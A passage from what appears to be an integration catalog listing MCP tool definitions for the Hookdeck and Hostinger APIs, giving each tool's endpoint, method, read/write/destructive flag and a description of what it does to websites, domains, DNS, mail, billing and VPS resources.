hookdeck_put_notifications_webhooks (write) — Webhook Notifications via PUT /notifications/webhooks PUT /api/v1/hookdeck/notifications/webhooks. Scopes: api. hookdeck_put_sources (write) — Create/Update a source via PUT /sources PUT /api/v1/hookdeck/sources. Scopes: api. hookdeck_put_sources_by_id (write) — Update a source via PUT /sources/{id} PUT /api/v1/hookdeck/sources/{id}. Scopes: api. hookdeck_put_sources_by_id_archive (write) — Disable a source (archive) via PUT /sources/{id}/archive PUT /api/v1/hookdeck/sources/{id}/archive. Scopes: api. hookdeck_put_sources_by_id_disable (write) — Disable a source (disable) via PUT /sources/{id}/disable PUT /api/v1/hookdeck/sources/{id}/disable. Scopes: api. hookdeck_put_sources_by_id_enable (write) — Enable a source (enable) via PUT /sources/{id}/enable PUT /api/v1/hookdeck/sources/{id}/enable. Scopes: api. hookdeck_put_sources_by_id_unarchive (write) — Enable a source (unarchive) via PUT /sources/{id}/unarchive PUT /api/v1/hookdeck/sources/{id}/unarchive. Scopes: api. hookdeck_put_transformations (write) — Create/Update a transformation via PUT /transformations PUT /api/v1/hookdeck/transformations. Scopes: api. hookdeck_put_transformations_by_id (write) — Update a transformation via PUT /transformations/{id} PUT /api/v1/hookdeck/transformations/{id}. Scopes: api. hookdeck_put_transformations_run (write) — Test a transformation via PUT /transformations/run PUT /api/v1/hookdeck/transformations/run. Scopes: api. ================================================================================ ## Hostinger URL: https://www.agenticfabriq.com/integrations/hostinger Section: Integrated Tools Hostinger — 387 MCP tools Provider key: hostinger. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. hostinger_delete_api_agency_hosting_v1_websites_by_website_uid (write, destructive) — Permanently deletes an Agency Plan website. Deletion is processed asynchronously: the website is immediately transitioned to a deleting state and the underlying server resources are removed in the background. DELETE /api/v1/hostinger/agency-hosting/v1/websites/{website_uid}. Scopes: api. hostinger_delete_api_agency_hosting_v1_websites_by_website_uid_cache (write, destructive) — Clears cache for all domains associated with an Agency Plan website, including its preview domain. This operation clears all cache types for the website. DELETE /api/v1/hostinger/agency-hosting/v1/websites/{website_uid}/cache. Scopes: api. hostinger_delete_api_agency_hosting_v1_websites_by_website_uid_cron_jobs_by_uuid (write, destructive) — Permanently deletes the cron job identified by its uuid from an Agency Plan website. The operation is idempotent: deleting a cron job that does not exist succeeds without error. DELETE /api/v1/hostinger/agency-hosting/v1/websites/{website_uid}/cron-jobs/{uuid}. Scopes: api. hostinger_delete_api_agency_hosting_v1_websites_by_website_uid_databases_by_database_name (write, destructive) — Permanently deletes a MySQL database and all its data from an Agency Plan website, including its users. The operation is idempotent: deleting a database that does not exist succeeds without error. DELETE /api/v1/hostinger/agency-hosting/v1/websites/{website_uid}/databases/{database_name}. Scopes: api. hostinger_delete_api_agency_hosting_v1_websites_by_website_uid_databases_by_database_name_users_by_database_user_name (write, destructive) — Permanently deletes a database user from an Agency Plan website database, revoking all access it had. The operation is idempotent: deleting a user that does not exist succeeds without error. DELETE /api/v1/hostinger/agency-hosting/v1/websites/{website_uid}/databases/{database_name}/users/{database_user_name}. Scopes: api. hostinger_delete_api_agency_hosting_v1_websites_by_website_uid_domains_by_domain (write, destructive) — Unlinks a domain from the specified Agency Plan website. The website stops serving traffic on this domain immediately. Website files and database are preserved, and any other linked domains remain accessible. If this is the only domain on the website, unlinking leaves the website without an accessible domain. DELETE /api/v1/hostinger/agency-hosting/v1/websites/{website_uid}/domains/{domain}. Scopes: api. hostinger_delete_api_billing_v1_payment_methods_by_paymentmethodid (write, destructive) — Delete a payment method from your account. Use this endpoint to remove unused payment methods from user accounts. Changes the account's billing configuration, which affects every subscription that renews against it -- not only the one named here. DELETE /api/v1/hostinger/billing/v1/payment-methods/{paymentMethodId}. Scopes: api. hostinger_delete_api_billing_v1_subscriptions_by_subscriptionid_auto_renewal_disable (write, destructive) — Disable auto-renewal for a subscription. Use this endpoint when disable auto-renewal for a subscription. Changes the account's billing configuration, which affects every subscription that renews against it -- not only the one named here. DELETE /api/v1/hostinger/billing/v1/subscriptions/{subscriptionId}/auto-renewal/disable. Scopes: api. hostinger_delete_api_dns_v1_zones_by_domain (write, destructive) — Delete DNS records for the selected domain. To filter which records to delete, add the `name` of the record and `type` to the filter. Multiple filters can be provided with single request. If you have multiple records with the same name and type, and you want to delete only part of them, refer to the `Update zone records` endpoint. Use this endpoint to remove specific DNS records from domains. DELETE /api/v1/hostinger/dns/v1/zones/{domain}. Scopes: api. hostinger_delete_api_domains_v1_forwarding_by_domain (write, destructive) — Delete domain forwarding data. Use this endpoint to remove redirect configuration from domains. DELETE /api/v1/hostinger/domains/v1/forwarding/{domain}. Scopes: api. hostinger_delete_api_domains_v1_irtp_by_domain (write, destructive) — Cancel a pending IRTP verification. Use this endpoint to back out of a WHOIS change that is stuck waiting on registrant confirmation, for example when the confirmation email cannot be received, without waiting out the 5-day expiry. DELETE /api/v1/hostinger/domains/v1/irtp/{domain}. Scopes: api. hostinger_delete_api_domains_v1_move_incoming_by_domain (write, destructive) — Reject an incoming move for a specified domain. The domain stays in the account which initiated the move. Moves you have already accepted cannot be rejected anymore. Use this endpoint to decline a domain you do not want to take over. DELETE /api/v1/hostinger/domains/v1/move/incoming/{domain}. Scopes: api. hostinger_delete_api_domains_v1_move_outgoing_by_domain (write, destructive) — Cancel an outgoing move for a specified domain. The move can only be cancelled while the receiving account has not accepted it yet. The domain stays in your account. Use this endpoint to withdraw a move you no longer want to complete. DELETE /api/v1/hostinger/domains/v1/move/outgoing/{domain}. Scopes: api. hostinger_delete_api_domains_v1_portfolio_by_domain_domain_lock (write, destructive) — Disable domain lock for the domain. Domain lock needs to be disabled before transferring the domain to another registrar. Use this endpoint to prepare domains for transfer to other registrars. DELETE /api/v1/hostinger/domains/v1/portfolio/{domain}/domain-lock. Scopes: api. hostinger_delete_api_domains_v1_portfolio_by_domain_privacy_protection (write, destructive) — Disable privacy protection for the domain. When privacy protection is disabled, domain owner's personal information is visible in public WHOIS database. Use this endpoint to make domain owner's information publicly visible. DELETE /api/v1/hostinger/domains/v1/portfolio/{domain}/privacy-protection. Scopes: api. hostinger_delete_api_domains_v1_whois_by_whoisid (write, destructive) — Delete WHOIS contact profile. Use this endpoint to remove unused contact profiles from account. DELETE /api/v1/hostinger/domains/v1/whois/{whoisId}. Scopes: api. hostinger_delete_api_domains_v1_whois_default_by_whoisid (write, destructive) — Unset WHOIS contact profile as default. The profile itself is kept, it is only no longer pre-selected for its TLD. Use this endpoint to stop reusing contact information for new registrations. DELETE /api/v1/hostinger/domains/v1/whois/default/{whoisId}. Scopes: api. hostinger_delete_api_ecommerce_v1_stores_by_store_id (write, destructive) — Soft-delete a store owned by your account. The underlying store data is preserved; only the store is marked as deleted. DELETE /api/v1/hostinger/ecommerce/v1/stores/{store_id}. Scopes: api. hostinger_delete_api_ecommerce_v1_stores_by_store_id_products_by_product_id (write, destructive) — Delete a product and its variants from the store. A subscription product with active subscribers is archived instead of deleted so its data stays available. DELETE /api/v1/hostinger/ecommerce/v1/stores/{store_id}/products/{product_id}. Scopes: api. hostinger_delete_api_ecommerce_v1_stores_by_store_id_products_by_product_id_variants_by_variant_id (write, destructive) — Delete a single variant from the product. DELETE /api/v1/hostinger/ecommerce/v1/stores/{store_id}/products/{product_id}/variants/{variant_id}. Scopes: api. hostinger_delete_api_hosting_v1_accounts_by_username_cron_jobs_by_uid (write, destructive) — Permanently deletes the cron job identified by its uid. The uid is returned by the list cron jobs endpoint. DELETE /api/v1/hostinger/hosting/v1/accounts/{username}/cron-jobs/{uid}. Scopes: api. hostinger_delete_api_hosting_v1_accounts_by_username_databases_by_name (write, destructive) — Permanently deletes a database and its remote connections. The database name must be the full name returned by the list databases endpoint. DELETE /api/v1/hostinger/hosting/v1/accounts/{username}/databases/{name}. Scopes: api. hostinger_delete_api_hosting_v1_accounts_by_username_databases_by_name_remote_connections (write, destructive) — Permanently removes a remote-access rule, revoking the given host's remote access to the database. Identify the rule with the required ip query parameter (the IPv4/IPv6 address, or "%", exactly as returned by the list remote connections endpoint). The database name must be the full name returned by the list databases endpoint. DELETE /api/v1/hostinger/hosting/v1/accounts/{username}/databases/{name}/remote-connections. Scopes: api. hostinger_delete_api_hosting_v1_accounts_by_username_websites_by_domain_cache_clear (write, destructive) — Permanently clears all server-side cache for the website at once. Use it when content was updated and needs to be visible immediately, or after making major changes. Also purges the Hostinger CDN cache when CDN is enabled on the website. For a WordPress installation living in a subdirectory, pass the directory query parameter to clear its cache. DELETE /api/v1/hostinger/hosting/v1/accounts/{username}/websites/{domain}/cache/clear. Scopes: api. hostinger_delete_api_hosting_v1_accounts_by_username_websites_by_domain_git_auto_deployments_settings (write, destructive) — Removes the Git auto-deployment settings of the website. Files already deployed stay on the website; pushes stop deploying until settings are saved again. Succeeds also when nothing is configured. DELETE /api/v1/hostinger/hosting/v1/accounts/{username}/websites/{domain}/git/auto-deployments/settings. Scopes: api. hostinger_delete_api_hosting_v1_accounts_by_username_websites_by_domain_nodejs_runtime_logs (write, destructive) — Empties the Node.js application's runtime log file. This cannot be undone, so confirm with the user before calling it. Returns success even when no log file exists yet. Use it before reproducing a problem so the next `Get Node.js runtime logs` call returns only fresh entries; start that call with `period` again instead of reusing a `from_line` from before the clear. DELETE /api/v1/hostinger/hosting/v1/accounts/{username}/websites/{domain}/nodejs/runtime-logs. Scopes: api. hostinger_delete_api_hosting_v1_accounts_by_username_websites_by_domain_parked_domains_by_parkeddomain (write, destructive) — Delete an existing parked or alias domain from the selected website. Use this endpoint to remove parked domains that are no longer needed. DELETE /api/v1/hostinger/hosting/v1/accounts/{username}/websites/{domain}/parked-domains/{parkedDomain}. Scopes: api. hostinger_delete_api_hosting_v1_accounts_by_username_websites_by_domain_redirects (write, destructive) — Permanently deletes the redirect identified by its source URL. Pass the `from` value exactly as returned by the list redirects endpoint. DELETE /api/v1/hostinger/hosting/v1/accounts/{username}/websites/{domain}/redirects. Scopes: api. hostinger_delete_api_hosting_v1_accounts_by_username_websites_by_domain_ssl (write, destructive) — Removes the SSL certificate assigned to the website, turns the HTTPS redirect off and cancels a pending installation retry. The website serves plain HTTP until a new installation completes. `Get SSL status` reports `not_installed` as soon as the call returns; the call also succeeds when no certificate is assigned, so repeating it is safe. Returns 422 for free subdomains (their certificate is managed by the platform) and while an installation is `installing`. DELETE /api/v1/hostinger/hosting/v1/accounts/{username}/websites/{domain}/ssl. Scopes: api. hostinger_delete_api_hosting_v1_accounts_by_username_websites_by_domain_subdomains_by_subdomain (write, destructive) — Delete an existing subdomain from the selected website. Use this endpoint to remove subdomains that are no longer needed. DELETE /api/v1/hostinger/hosting/v1/accounts/{username}/websites/{domain}/subdomains/{subdomain}. Scopes: api. hostinger_delete_api_hosting_v1_accounts_by_username_wordpress_by_software (write, destructive) — Delete the specified WordPress installation, with optional file and database removal. This removes all associated components including plugins, themes, staging websites and any other related data. Provide the WordPress installation (software) identifier in the path. It can be obtained from GET /api/hosting/v1/wordpress/installations (the `id` field). DELETE /api/v1/hostinger/hosting/v1/accounts/{username}/wordpress/{software}. Scopes: api. hostinger_delete_api_hosting_v1_websites_by_domain (write, destructive) — This endpoint permanently removes a website and all of its data. This action cannot be undone. Before calling it, make sure the user understands the consequences and explicitly confirms that they want to proceed. All website files, databases and related configuration will be removed. The hosting plan itself is kept, so a new website can be created on it afterwards. Supported websites: main and addon domain websites on web hosting plans, and Website Builder websites. Parked domains and subdomains cannot be deleted with this endpoint. The domain must be the exact website domain, not a preview domain or an alias. Returns 404 when the domain does not exist or does not belong to the authenticated client. Website removal is processed asynchronously and can take a few minutes to complete. The response returns before the removal finishes. DELETE /api/v1/hostinger/hosting/v1/websites/{domain}. Scopes: api. hostinger_delete_api_mail_v1_aliases_by_aliasid (write, destructive) — Delete an alias. Messages sent to the alias address are no longer delivered to the mailbox. DELETE /api/v1/hostinger/mail/v1/aliases/{aliasId}. Scopes: api. hostinger_delete_api_mail_v1_api_tokens_by_tokenid (write, destructive) — Revoke an API token. The token immediately loses access to the Hostinger Email API (https://api.mail.hostinger.com/). This action cannot be undone. Changes the account's Mail API tokens: a revoked token stops working immediately for everything that uses it. DELETE /api/v1/hostinger/mail/v1/api-tokens/{tokenId}. Scopes: api. hostinger_delete_api_mail_v1_autoreplies_by_autoreplyid (write, destructive) — Delete the autoreply of a mailbox. The mailbox stops sending automatic replies immediately. DELETE /api/v1/hostinger/mail/v1/autoreplies/{autoreplyId}. Scopes: api. hostinger_delete_api_mail_v1_catchalls_by_catchallid (write, destructive) — Delete a catch-all. Messages sent to unknown addresses of the domain are no longer routed to the mailbox. DELETE /api/v1/hostinger/mail/v1/catchalls/{catchallId}. Scopes: api. hostinger_delete_api_mail_v1_forwarders_by_forwarderid (write, destructive) — Delete a forwarder. The mailbox stops forwarding messages to the destination address immediately. DELETE /api/v1/hostinger/mail/v1/forwarders/{forwarderId}. Scopes: api. hostinger_delete_api_mail_v1_mailboxes_by_mailboxid (write, destructive) — Delete a mailbox. The mailbox is soft-deleted and stays restorable for a limited period before it is permanently removed. DELETE /api/v1/hostinger/mail/v1/mailboxes/{mailboxId}. Scopes: api. hostinger_delete_api_mail_v1_webhooks_by_webhookid (write, destructive) — Permanently delete a webhook. This action cannot be undone. After deletion the URL no longer receives event notifications. DELETE /api/v1/hostinger/mail/v1/webhooks/{webhookId}. Scopes: api. hostinger_delete_api_reach_v1_contacts_by_uuid (write, destructive) — Delete a contact with the specified UUID. This endpoint permanently removes a contact from the email marketing system. Deprecated. This endpoint cannot target a profile, so it always falls back to the client's default profile and cannot delete contacts of any other profile. Use `DELETE /api/reach/v1/profiles/{profileUuid}/contacts/{contactUuid}` instead. DEPRECATED by Hostinger; it still answers, but prefer the current replacement in the same product family. DELETE /api/v1/hostinger/reach/v1/contacts/{uuid}. Scopes: api. hostinger_delete_api_reach_v1_profiles_by_profileuuid_contacts_by_contactuuid (write, destructive) — Permanently delete a contact from a profile. The contact is removed together with its custom field values and tag assignments. DELETE /api/v1/hostinger/reach/v1/profiles/{profileUuid}/contacts/{contactUuid}. Scopes: api. hostinger_delete_api_reach_v1_profiles_by_profileuuid_contacts_fields_by_fielduuid (write, destructive) — Delete a custom contact field. Every value contacts hold for the field is deleted with it, and for the choice types so are its options. The contacts themselves are not affected. DELETE /api/v1/hostinger/reach/v1/profiles/{profileUuid}/contacts/fields/{fieldUuid}. Scopes: api. hostinger_delete_api_reach_v1_profiles_by_profileuuid_forms_by_formuuid (write, destructive) — Permanently delete a form together with its template. A form that has already captured submissions cannot be deleted, so that the contacts it collected are never silently discarded - pause the form instead to stop it collecting new ones. Views alone do not block deletion. DELETE /api/v1/hostinger/reach/v1/profiles/{profileUuid}/forms/{formUuid}. Scopes: api. hostinger_delete_api_reach_v1_profiles_by_profileuuid_segmentation_segments_by_segmentuuid (write, destructive) — Delete a segment. Only the segment definition is removed. The contacts that matched it are left untouched. DELETE /api/v1/hostinger/reach/v1/profiles/{profileUuid}/segmentation/segments/{segmentUuid}. Scopes: api. hostinger_delete_api_reach_v1_profiles_by_profileuuid_tags_by_taguuid (write, destructive) — Delete a tag and remove it from every contact carrying it. The contacts themselves are not deleted. This is idempotent: deleting a tag that does not exist in the profile still succeeds. DELETE /api/v1/hostinger/reach/v1/profiles/{profileUuid}/tags/{tagUuid}. Scopes: api. hostinger_delete_api_reach_v1_profiles_by_profileuuid_tags_by_taguuid_contacts (write, destructive) — Remove a tag from many contacts at once. Pass `contact_uuids` to target specific contacts, or `all_contacts` to target every contact in the profile. The work is queued, so a success response means it was accepted rather than finished. The tag itself and the contacts are not deleted. DELETE /api/v1/hostinger/reach/v1/profiles/{profileUuid}/tags/{tagUuid}/contacts. Scopes: api. hostinger_delete_api_reach_v1_profiles_by_profileuuid_tags_by_taguuid_contacts_by_contactuuid (write, destructive) — Remove a tag from a single contact. Unlike the bulk endpoint this is applied immediately rather than queued. Neither the tag nor the contact is deleted. DELETE /api/v1/hostinger/reach/v1/profiles/{profileUuid}/tags/{tagUuid}/contacts/{contactUuid}. Scopes: api. hostinger_delete_api_vps_v1_firewall_by_firewallid (write, destructive) — Delete a specified firewall. Any virtual machine that has this firewall activated will automatically have it deactivated. Use this endpoint to remove unused firewall configurations. DELETE /api/v1/hostinger/vps/v1/firewall/{firewallId}. Scopes: api. hostinger_delete_api_vps_v1_firewall_by_firewallid_rules_by_ruleid (write, destructive) — Delete a specific firewall rule from a specified firewall. Any virtual machine that has this firewall activated will lose sync with the firewall and will have to be synced again manually. Use this endpoint to remove specific firewall rules. DELETE /api/v1/hostinger/vps/v1/firewall/{firewallId}/rules/{ruleId}. Scopes: api. hostinger_delete_api_vps_v1_post_install_scripts_by_postinstallscriptid (write, destructive) — Delete a post-install script from your account. Use this endpoint to remove unused automation scripts. DELETE /api/v1/hostinger/vps/v1/post-install-scripts/{postInstallScriptId}. Scopes: api. hostinger_delete_api_vps_v1_public_keys_by_publickeyid (write, destructive) — Delete a public key from your account. Deleting public key from account does not remove it from virtual machine Use this endpoint to remove unused SSH keys from account. DELETE /api/v1/hostinger/vps/v1/public-keys/{publicKeyId}. Scopes: api. hostinger_delete_api_vps_v1_virtual_machines_by_virtualmachineid_docker_by_projectname_down (write, destructive) — Completely removes a Docker Compose project from the virtual machine, stopping all containers and cleaning up associated resources including networks, volumes, and images. This operation is irreversible and will delete all project data. Use this when you want to permanently remove a project and free up system resources. DELETE /api/v1/hostinger/vps/v1/virtual-machines/{virtualMachineId}/docker/{projectName}/down. Scopes: api. hostinger_delete_api_vps_v1_virtual_machines_by_virtualmachineid_hostname (write, destructive) — Reset hostname and PTR record of a specified virtual machine to default value. Use this endpoint to restore default hostname configuration for VPS instances. DELETE /api/v1/hostinger/vps/v1/virtual-machines/{virtualMachineId}/hostname. Scopes: api. hostinger_delete_api_vps_v1_virtual_machines_by_virtualmachineid_monarx (write, destructive) — Uninstall the Monarx malware scanner on a specified virtual machine. If Monarx is not installed, the request will still be processed without any effect. Use this endpoint to remove malware scanner from VPS instances. DELETE /api/v1/hostinger/vps/v1/virtual-machines/{virtualMachineId}/monarx. Scopes: api. hostinger_delete_api_vps_v1_virtual_machines_by_virtualmachineid_ptr_by_ipaddressid (write, destructive) — Delete a PTR (Pointer) record for a specified virtual machine. Once deleted, reverse DNS lookups to the virtual machine's IP address will no longer return the previously configured hostname. Use this endpoint to remove reverse DNS configuration from VPS instances. DELETE /api/v1/hostinger/vps/v1/virtual-machines/{virtualMachineId}/ptr/{ipAddressId}. Scopes: api. hostinger_delete_api_vps_v1_virtual_machines_by_virtualmachineid_recovery (write, destructive) — Stop recovery mode for a specified virtual machine. If virtual machine is not in recovery mode, this operation will fail. Use this endpoint to exit system rescue mode and return VPS to normal operation. DELETE /api/v1/hostinger/vps/v1/virtual-machines/{virtualMachineId}/recovery. Scopes: api. hostinger_delete_api_vps_v1_virtual_machines_by_virtualmachineid_snapshot (write, destructive) — Delete a snapshot of a specified virtual machine. Use this endpoint to remove VPS snapshots. DELETE /api/v1/hostinger/vps/v1/virtual-machines/{virtualMachineId}/snapshot. Scopes: api. hostinger_get_api_agency_hosting_v1_domains (read) — Returns a paginated list of domains associated with Agency Plan websites accessible to the authenticated client. Use the website_uuids filter to narrow results to specific websites. GET /api/v1/hostinger/agency-hosting/v1/domains. Scopes: api. hostinger_get_api_agency_hosting_v1_orders (read) — Returns a paginated list of Agency Plan orders accessible to the authenticated client. GET /api/v1/hostinger/agency-hosting/v1/orders. Scopes: api. hostinger_get_api_agency_hosting_v1_orders_by_order_id_datacenters (read) — Lists the datacenters available for provisioning a new website on the given Agency Plan hosting order. Each datacenter includes a `pinger_url` you can ping from the client to measure round-trip latency; comparing the results across datacenters lets you pick the nearest one (lowest ping) before choosing its `code` as the `datacenter_code` when creating a website setup. GET /api/v1/hostinger/agency-hosting/v1/orders/{order_id}/datacenters. Scopes: api. hostinger_get_api_agency_hosting_v1_orders_by_order_id_disk_usage_metrics (read) — Returns aggregated disk and inode usage for the Agency Plan order over the selected time frame, plus the plan quotas. Figures cover the whole order account. Values may be up to one hour stale. CPU, memory, and process usage are on the resource-usage-metrics endpoint. GET /api/v1/hostinger/agency-hosting/v1/orders/{order_id}/disk-usage-metrics. Scopes: api. hostinger_get_api_agency_hosting_v1_orders_by_order_id_resource_usage_metrics (read) — Returns aggregated CPU, memory, and process usage for the Agency Plan order over the selected time frame, plus the plan quotas and a per-website breakdown. Each website is identified by uid. Suspended and deleted websites are excluded from both the order totals and the per-website breakdown. Values may be up to one hour stale. Disk and inode usage are on the disk-usage-metrics endpoint. GET /api/v1/hostinger/agency-hosting/v1/orders/{order_id}/resource-usage-metrics. Scopes: api. hostinger_get_api_agency_hosting_v1_orders_by_order_id_websites_php_settings_versions (read) — Lists the PHP versions available to websites created under an Agency Plan order, determined by the server the order is hosted on. Use this before creating a website; for a website that already exists, call the website-scoped versions endpoint instead. GET /api/v1/hostinger/agency-hosting/v1/orders/{order_id}/websites/php-settings/versions. Scopes: api. hostinger_get_api_agency_hosting_v1_orders_by_order_id_websites_setups_by_setup_uuid (read) — Returns the current status of an Agency Plan website setup started via the setups endpoint. Poll this endpoint using the `setup_uuid` returned from the provisioning request until `status` becomes `completed`, at which point `website_uid` identifies the new website. GET /api/v1/hostinger/agency-hosting/v1/orders/{order_id}/websites/setups/{setup_uuid}. Scopes: api. hostinger_get_api_agency_hosting_v1_websites (read) — Retrieve a paginated list of Agency Plan websites (H5G, Builder, and Horizons) accessible to the authenticated client. This endpoint returns websites from your hosting accounts as well as websites from other client hosting accounts that have shared access with you. The response shape differs per platform — see the `platform` field on each item. Use `website_types` to list only websites of a given detected type, e.g. only WordPress websites (`website_types=wordpress`) or only Node.js websites (`website_types=nodejs`). Combine with `order_ids`, `states`, or `domain` for more targeted results. GET /api/v1/hostinger/agency-hosting/v1/websites. Scopes: api. hostinger_get_api_agency_hosting_v1_websites_by_website_uid (read) — Retrieves detailed information about a specific Agency Plan website, including configuration, status, metadata, hosting plan details, and resource quotas. GET /api/v1/hostinger/agency-hosting/v1/websites/{website_uid}. Scopes: api. hostinger_get_api_agency_hosting_v1_websites_by_website_uid_cron_jobs (read) — Returns a paginated list of cron jobs configured for an Agency Plan website. Each entry includes the schedule expression and the command executed on that schedule. GET /api/v1/hostinger/agency-hosting/v1/websites/{website_uid}/cron-jobs. Scopes: api. hostinger_get_api_agency_hosting_v1_websites_by_website_uid_databases (read) — Returns a paginated list of MySQL databases created for an Agency Plan website. Each entry includes the database's non-system users. GET /api/v1/hostinger/agency-hosting/v1/websites/{website_uid}/databases. Scopes: api. hostinger_get_api_agency_hosting_v1_websites_by_website_uid_php_settings_extensions (read) — Lists every PHP extension available to an Agency Plan website and whether it is currently enabled. GET /api/v1/hostinger/agency-hosting/v1/websites/{website_uid}/php-settings/extensions. Scopes: api. hostinger_get_api_agency_hosting_v1_websites_by_website_uid_php_settings_options (read) — Lists the php.ini directives that can be configured for an Agency Plan website, each with its default, the value currently in effect, and the values it accepts. GET /api/v1/hostinger/agency-hosting/v1/websites/{website_uid}/php-settings/options. Scopes: api. hostinger_get_api_agency_hosting_v1_websites_by_website_uid_php_settings_versions (read) — Lists the PHP versions an Agency Plan website can be switched to. The version the website is currently running is returned as settings.php.version by the website details endpoint. GET /api/v1/hostinger/agency-hosting/v1/websites/{website_uid}/php-settings/versions. Scopes: api. hostinger_get_api_agency_hosting_v1_websites_by_website_uid_processes (read) — Lists active and recently completed asynchronous processes for an Agency Plan website. Each process has a unique ID (for tracking), a type, and a status (running, completed, failed). Poll this endpoint after initiating async operations (SSL setup, backups, cloning) to track progress. GET /api/v1/hostinger/agency-hosting/v1/websites/{website_uid}/processes. Scopes: api. hostinger_get_api_agency_hosting_v1_websites_by_website_uid_wordpress_settings (read) — Returns the current WordPress settings for an Agency Plan website: installed core version, LiteSpeed Cache plugin status, object cache status, and maintenance mode status. GET /api/v1/hostinger/agency-hosting/v1/websites/{website_uid}/wordpress/settings. Scopes: api. hostinger_get_api_agency_hosting_v1_websites_by_website_uid_wordpress_settings_versions (read) — Lists the WordPress core versions available for installation on an Agency Plan website. GET /api/v1/hostinger/agency-hosting/v1/websites/{website_uid}/wordpress/settings/versions. Scopes: api. hostinger_get_api_billing_v1_catalog (read) — Retrieve catalog items available for order. Prices in catalog items is displayed as cents (without floating point), e.g: float `17.99` is displayed as integer `1799`. Use this endpoint to view available services and pricing before placing orders. GET /api/v1/hostinger/billing/v1/catalog. Scopes: api. hostinger_get_api_billing_v1_payment_methods (read) — Retrieve available payment methods that can be used for placing new orders. If you want to add new payment method, please use hPanel (https://hpanel.hostinger.com/billing/payment-methods). Use this endpoint to view available payment options before creating orders. GET /api/v1/hostinger/billing/v1/payment-methods. Scopes: api. hostinger_get_api_billing_v1_subscriptions (read) — Retrieve a list of all subscriptions associated with your account. Use this endpoint to monitor active services and billing status. GET /api/v1/hostinger/billing/v1/subscriptions. Scopes: api. hostinger_get_api_dns_v1_snapshots_by_domain (read) — Retrieve DNS snapshots for a domain. Use this endpoint to view available DNS backup points for restoration. GET /api/v1/hostinger/dns/v1/snapshots/{domain}. Scopes: api. hostinger_get_api_dns_v1_snapshots_by_domain_by_snapshotid (read) — Retrieve particular DNS snapshot with contents of DNS zone records. Use this endpoint to view historical DNS configurations for domains. GET /api/v1/hostinger/dns/v1/snapshots/{domain}/{snapshotId}. Scopes: api. hostinger_get_api_dns_v1_zones_by_domain (read) — Retrieve DNS zone records for a specific domain. Use this endpoint to view current DNS configuration for domain management. GET /api/v1/hostinger/dns/v1/zones/{domain}. Scopes: api. hostinger_get_api_domains_v1_forwarding_by_domain (read) — Retrieve domain forwarding data. Use this endpoint to view current redirect configuration for domains. GET /api/v1/hostinger/domains/v1/forwarding/{domain}. Scopes: api. hostinger_get_api_domains_v1_irtp_by_domain (read) — Retrieve a pending IRTP verification for a domain. Both the old and new registrant must confirm it before the WHOIS change takes effect. Use this endpoint to check the status of a WHOIS change awaiting registrant confirmation. GET /api/v1/hostinger/domains/v1/irtp/{domain}. Scopes: api. hostinger_get_api_domains_v1_move_incoming (read) — Retrieve all domains other Hostinger accounts are moving to your account. Moves of every status are returned, including the ones which already completed. Use this endpoint to find domains waiting for you to accept them. GET /api/v1/hostinger/domains/v1/move/incoming. Scopes: api. hostinger_get_api_domains_v1_move_incoming_by_domain (read) — Retrieve the incoming move for a specified domain. Returns 404 when no account is moving this domain to you. Use this endpoint to check whether a domain addressed to you is still waiting to be accepted. GET /api/v1/hostinger/domains/v1/move/incoming/{domain}. Scopes: api. hostinger_get_api_domains_v1_move_outgoing (read) — Retrieve all domains you are moving to other Hostinger accounts. Only moves which have not completed yet are returned. Use this endpoint to track moves you have initiated and the accounts they are addressed to. GET /api/v1/hostinger/domains/v1/move/outgoing. Scopes: api. hostinger_get_api_domains_v1_move_outgoing_by_domain (read) — Retrieve the outgoing move for a specified domain. Returns 404 when the domain has no move in progress. Use this endpoint to track the status of a move you have initiated for a single domain. GET /api/v1/hostinger/domains/v1/move/outgoing/{domain}. Scopes: api. hostinger_get_api_domains_v1_portfolio (read) — Retrieve all domains associated with your account. Use this endpoint to view user's domain portfolio. GET /api/v1/hostinger/domains/v1/portfolio. Scopes: api. hostinger_get_api_domains_v1_portfolio_by_domain (read) — Retrieve detailed information for specified domain. Use this endpoint to view comprehensive domain configuration and status. GET /api/v1/hostinger/domains/v1/portfolio/{domain}. Scopes: api. hostinger_get_api_domains_v1_portfolio_by_domain_auth_code (read) — Retrieve the authorization (EPP) code for a specified domain so it can be transferred away from Hostinger to another registrar. Requesting a new code invalidates any code retrieved previously. Use this endpoint to obtain the code required to transfer a domain to another registrar. GET /api/v1/hostinger/domains/v1/portfolio/{domain}/auth-code. Scopes: api. hostinger_get_api_domains_v1_portfolio_by_domain_renewal (read) — Retrieve renewal information for a specified domain, including its status and current expiration date. Use this endpoint to build renewal automation and expiry monitoring for a single domain. GET /api/v1/hostinger/domains/v1/portfolio/{domain}/renewal. Scopes: api. hostinger_get_api_domains_v1_transfers (read) — Retrieve all domain transfers in your portfolio. Use this endpoint to monitor incoming and outgoing registrar transfers across your domains. GET /api/v1/hostinger/domains/v1/transfers. Scopes: api. hostinger_get_api_domains_v1_transfers_by_domain (read) — Retrieve the transfer for a specified domain. Use this endpoint to track an incoming or outgoing registrar transfer and its status. GET /api/v1/hostinger/domains/v1/transfers/{domain}. Scopes: api. hostinger_get_api_domains_v1_whois (read) — Retrieve WHOIS contact profiles. Use this endpoint to view available contact profiles for domain registration. GET /api/v1/hostinger/domains/v1/whois. Scopes: api. hostinger_get_api_domains_v1_whois_by_whoisid (read) — Retrieve a WHOIS contact profile. Use this endpoint to view domain registration contact information. GET /api/v1/hostinger/domains/v1/whois/{whoisId}. Scopes: api. hostinger_get_api_domains_v1_whois_by_whoisid_usage (read) — Retrieve domain list where provided WHOIS contact profile is used. Use this endpoint to view which domains use specific contact profiles. GET /api/v1/hostinger/domains/v1/whois/{whoisId}/usage. Scopes: api. hostinger_get_api_ecommerce_v1_miscellaneous_custom_storefront_instructions (read) — Retrieve step-by-step setup instructions, formatted as Markdown, for connecting a custom sales channel to your store and keeping your catalog, orders, shipping and payments in sync through the Ecommerce API. GET /api/v1/hostinger/ecommerce/v1/miscellaneous/custom-storefront-instructions. Scopes: api. hostinger_get_api_ecommerce_v1_stores (read) — Retrieve the stores associated with your account. GET 